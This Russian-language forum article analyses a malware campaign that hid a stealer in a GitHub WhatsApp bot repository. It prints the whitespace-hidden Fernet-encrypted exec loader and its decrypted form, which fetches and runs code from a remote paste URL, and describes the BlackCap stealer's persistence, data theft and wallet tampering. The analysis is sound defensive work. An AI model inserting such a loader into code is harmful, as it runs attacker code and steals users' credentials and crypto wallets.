Статья Опасен ли Github? Обзор самых громких случаев, когда Github используется для распространения вредоносного ПО. Часть 2

Опасен ли Github? Обзор самых громких случаев, когда Github используется для распространения вредоносного ПО. Часть 2

Приветствую, исследователь, это вторая часть статьи об угрозах на просторах Github. Устраивайся поудобней, будет интересно, без лишних слов и воды мы начинаем. Предыдущая часть вот здесь. И ещё, нам понадобится дисклеймер:

Дисклеймер

На самом деле я против зла и то, что я покажу вам далее, может быть, практически применено различного рода антагонистами. Сразу предупреждаю, что я, как автор этой писанины , снимаю с себя ответственность за то с каким умыслом будет использована эта информация дальше. Виноват только и только тот, кто применяет знания, но не тот, кто ими делится. Автор лишь преследует благие цели, используя способы и пути злоумышленников, раскрывает суть преступного механизма, открывая людям глаза, демонстрируя способы защиты, ведь лучший протект — это знания.

В прошлой части мы остановились на осмотре некого репозитория, который непосредственно содержал в себе вредоносный код. Его запуск происходил с помощью команды exec fernet. Подобное решение появилось впервые и не было замечено ранее.

Screenshot_72.png

Давайте разберемся более подробно, что это и с чем же его едят.

В контексте Python, Fernet относится к модулю cryptography.fernet, который представляет собой средство для шифрования и дешифрования данных с использованием симметричного ключа. Этот модуль обеспечивает простой и безопасный способ шифрования данных с использованием алгоритма AES (Advanced Encryption Standard) в режиме CBC (Cipher Block Chaining) с автономной аутентификацией сообщений.

Реализация этого модуля зачастую выглядит вот так(я очень далек от кодинга, поправьте если что:
Код:
from cryptography.fernet import Fernet
# Генерируем ключ

key = Fernet.generate_key()
# Создаем объект Fernet с использованием ключа

cipher_suite = Fernet(key)
# Шифруем данные

plaintext = b"Hello, world!"

cipher_text = cipher_suite.encrypt(plaintext)
# Дешифруем данные

decrypted_text = cipher_suite.decrypt(cipher_text)

print("Original:", plaintext)

print("Encrypted:", cipher_text)

print("Decrypted:", decrypted_text.decode())

Подводя краткие итоги Fernet предоставляет простой интерфейс для защиты данных с использованием сильного шифрования, что делает его полезным для обеспечения конфиденциальности данных в приложениях Python. Полезная вещица, но как всегда это и бывает полезна она не только обычным пользователям и белым разработчикам.

А теперь проведем кратенький анализ этой всей этой штуки, рассматривать будем в контексте всего репозитория инфицированного бота WhatsApp.

Инфицированный бот — краткий статистический анализ

Представляю набор утилит, которые будут использованы далее:
  1. DIE — Detect it Easy: многофункциональный инструмент, имеющий просто огромный арсенал. Позволит нам опередить тип компилятора вредоноса, язык, библиотеки и таблицы импорта/экспорта с последующим дизассемблированием.
  2. DNSpy — крутой декомпилятор и деббагер для C#, один из самых популярных, даже представлять не стоит, его знают все.
  3. Google Colab — тебе может быть смешно, но он пригодится.
  4. HollowHunter — утилита, которая распознает и сбрасывает множество потенциально вредоносных имплантов (замененные/имплантированные PE, шелл-коды, перехватчики, патчи в памяти).
  5. PE Bear — неплохой инструмент для просмотра и редактирования составляющих PE файла.

Первичная полезная нагрузка

Итак, начинается все с импорта необходимых модулей и естественно здесь будет Фернет, это можно сразу записывать, как идентификатор, но лишь косвенный. Выглядеть это может по разному, конкретно в этом образце вот так:
Screenshot_58.png


В остальном всё так, как и должно быть в Python боте, кроме одной строки, которая спрятана далеко-далеко и при невнимательном просмотре заметить её, все равно что без лупы смотреть на… Ваша фантазия вольна дорисовать что угодно здесь.

Злоумышленники добавляют длинную последовательность пробельных символов (в данном примере это 545 пробелов), чтобы скрыть вредоносный код за экраном:
Код:
<WHITESPACE>;exec(Fernet(b'n4URWLeTCi_xnoPjrWpQKiET9owwqIrjdTeawn_XK74=').decrypt(b'gAAAAABk0qRhQ5ElvkOXVd4S77j_7zec9wYp8mb6CJqMerEsGCL0SBINWk_qASYV2r3rHe7Tnh5KS-7 TnmcbswLUqOuF0lACfVDsQDZi7OiHt1FAe8a9cfSi88bN2UiJ7rdaZ0QtzQc7Cc3WGx9ylJsOSA u-TizpXESIgAqmpEF7SNMDuXJMCj8TUpHDHINjyGHPrta7aY3E9E8JGsPFsgHPbjGesGiiwQ==' ))

Естественно, так анализировать дальше мы не можем, поэтому всё это дело нам нужно как-то расшифровать или запустить, дабы просмотреть вывод консоли. Здесь мне на помощь поспешил Google Colab. Запуск всего этого кода дал нам следующее результаты:

Screenshot_73.png

Собственно вся эта шифрованная штука в расшифрованном виде имеет вот такой смысл:
Код:
b"exec(requests.get('https://bananasquad[.]ru/paste').text.replace('<pre>','').replace('</pre>','' ))"

Банальный GET запрос, реализованный с помощью команды exec, если перейти по указанному URL-адресу, нам откроется следующая картина:
Screenshot_71.png


Переходим к её анализу.

Вторичная полезная нагрузка

По первому взгляду могу сказать, что это снова промежуточная стадия, здесь происходит что-то типа подготовки среды.

Сначала скрипт устанавливает несколько пакетов Python, таких как: requests, httpx, pyperclip, pyotp, winregistry, psutil, pycryptodomex и asyncio.

Затем он проверяет все установленные версии Python на компьютере пользователя и ищет каталог Cryptodome в пакетах сайтов каждой версии. Если каталог Cryptodome найден, он создает дубликат этого каталога под именем Crypto, возможно, для обеспечения совместимости со старыми библиотеками. Далее скрипт генерирует данные для расшифровки, сохраняет их в файл с именем pl.py в каталоге пользователя APPDATA и иницирует запуск скрипта без отображения окна.

И на этом этот этап завершает свою работу, идем дальше.

Третичная полезная нагрузка — модифицированный стиллер с открытым исходным кодом

Эти злоумышленники явно постигли всю суть этой жизни. Если тебе лень что-то делать или тебе не хватает умений — своруй это, немного модифицировав. То-ли лень движок прогресса, то-ли прогресс движок лени. Но имеем что имеем. Давайте разбираться. Визуально мы имеем 12 КБ веса, обычный скрипт на Python, ничем абсолютно не примечательный. На VirusTotal процент его обнаружения достаточно высок — 24 из 62. Это не прям класс, но и не ноль.

Первоначальная версия BlackCap имела следующие функции:
  1. Получение системной информации.
  2. Извлечение паролей браузера, файлов cookie и истории просмотров.
  3. Взлом буфера обмена Windows для изменения адресов криптовалюты, замена его содержимого адресом кошелька злоумышленника (среди других функций).
  4. Кража учетных данных для входа из приложений и инструментов, таких как Steam, MetaMask и Exodus.
  5. Обход TokenProtector.

Совершенно не густо, но как для опенсурсного стиллера это круто. Модифицированная версия, практически ничем не отличается, перенимая все основные функции. В чем их различия мы будем разбирать дальше, а они есть и в моментах очень даже существенные.
Примерный алгоритм работы вредоноса сводится к следующим шагам:
  1. Закрепление себя в системе, сбор информации об устройстве, а также установка дополнительных зависимостей
  2. Связь с командным сервером
  3. Непосредственно кража данных и махинации с буфером обмена Windows

Закрепление себя в системе и сбор информации об устройстве

Кстати на этом этапе также заметил, что первоначальная версия из Гитхаб имеет некую уловку. Все кто воспользуется этой утилитой по её прямому назначению, то всё награбленное также будет отравлено создателю, гениальное движение, которое используют многие опенсурсные стиллеры. Эдакий двойной крючок.

Наши злоумышленники же оказались немножечко умнее и просто вырезали эту функцию. Правильно, чего это они должны с кем-то делиться…

Сбор информации здесь ограничен запросом имени компьютера и сравнением его со списком жертв на командном сервере, считайте такой себе примитивный мьютекс.

Также вредонос добавляет себя в автозагрузку Windows и создает соответствующий ключ реестра, это классика, ничего особенного. Этого фрагмента нет в оригинальной версии, так что это одна из модификаций злоумышленников.

Установка дополнительных пакетов цветет и пахнет, на скриншоте можете увидеть их разнообразие:

Screenshot_70.png


Связь с командным сервером

Зачем я вообще добавил этот раздел? Общение с C&C сервером происходит путем банальных GET и POST запросов. Адрес командного сервера, мы уже видели ранее, он не изменился. Это можно рассматривать, как модификацию, так как все URL, естественно, были переписаны на URL злоумышленников.

Непосредственно кража данных и махинации с буфером обмена Windows

Здесь все немного интересней, во-первых была добавлена возможность кражи данных из криптокошелька Exodus. Но пусть она и была добавлена, но это склейка из очередных опенсурсных инъекций из Гитхаб, которые постепенно удаляются.

Итак, прежде чем идти к самому интересному, разберемся с тем, как воруются данные браузеров, Телеграмма и прочего. Это банальная экстрафильтрация. То есть, путь к конкретному файлу, содержащему в себе данные автозаполнения, жестко указан в самом коде. Производится банальное копирование файла или папки и передача его на командный сервер. Этим способом пользуются 90% стиллеров, он прост в реализации и эффективен. Конкретно БлекКэп использует функцию upload():
Screenshot_69.png


Отправка наворованного происходит тем же самым POST запросом на командный сервер, реализация этого выглядит следующим образом:
Screenshot_67.png


А теперь к интересному, возможно, кто-то из читателей пользуется криптокошельком Exodus, а возможно и нет. Как и в большинстве современных кошельков, при авторизации у вас будет запрошена некая мнемоническая фраза.

Мнемоническая фраза — в контексте криптокошельков мнемоническая фраза (или seed-фраза) является критически важной частью безопасности. Это набор обычно из 12, 18 или 24 слов, которые используются для восстановления доступа к вашему криптокошельку в случае его потери или повреждения. Эти слова выбираются случайным образом и должны быть строго сохранены в безопасности, так как любой, кто получит доступ к вашей мнемонической фразе, сможет получить доступ ко всем вашим криптовалютным средствам.

Так вот, один из компонентов самого приложения имеет некий недочет, его можно просто заменить на инфицированный. Речь идет об ElectronJS, а точнее его ядре — app.asar. БлэкКеп буквально заменяет его на свой, в котором уже вшита функция передачи всей информации об кошельке на сервер злоумышленников:

AD_4nXfmRaI7Gf1H-RcaDPR-pJ2q4z7ceNv3fCJGif9r7K1XXmJYQ9vKzRjFsEVAMmHA8nbr_RwKKYiEEmbjJjXsO2IDm-9wB565D91PC2LO4daLXxSNRf0EycJEzo4CScBzDVMccYbIUaNCFHis5u1ZdFhnmMGI


Выводы

Опасен ли Гитхаб на самом деле? Да, но это не делает этот ресурс врагом всего мира. Стоит отметить, что администрация ресурса всячески пресекает вредоносный контент, но успевает далеко не всегда и не во всем. Человек — существо не обделенное интелектом и изобретательностью, посему любое благо, может использоваться во вред другому. Птицы умирают ради еды, а человек ради наживы.

То, что было показано в этой статье является лишь верхушкой айсберга, в истории имеют место быть гораздо более резонансные случаи. Если хотите продолжения — дайте знать в комментариях. А на этом у меня всё, бывайте.
 
  • Нравится
Реакции: Дод
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!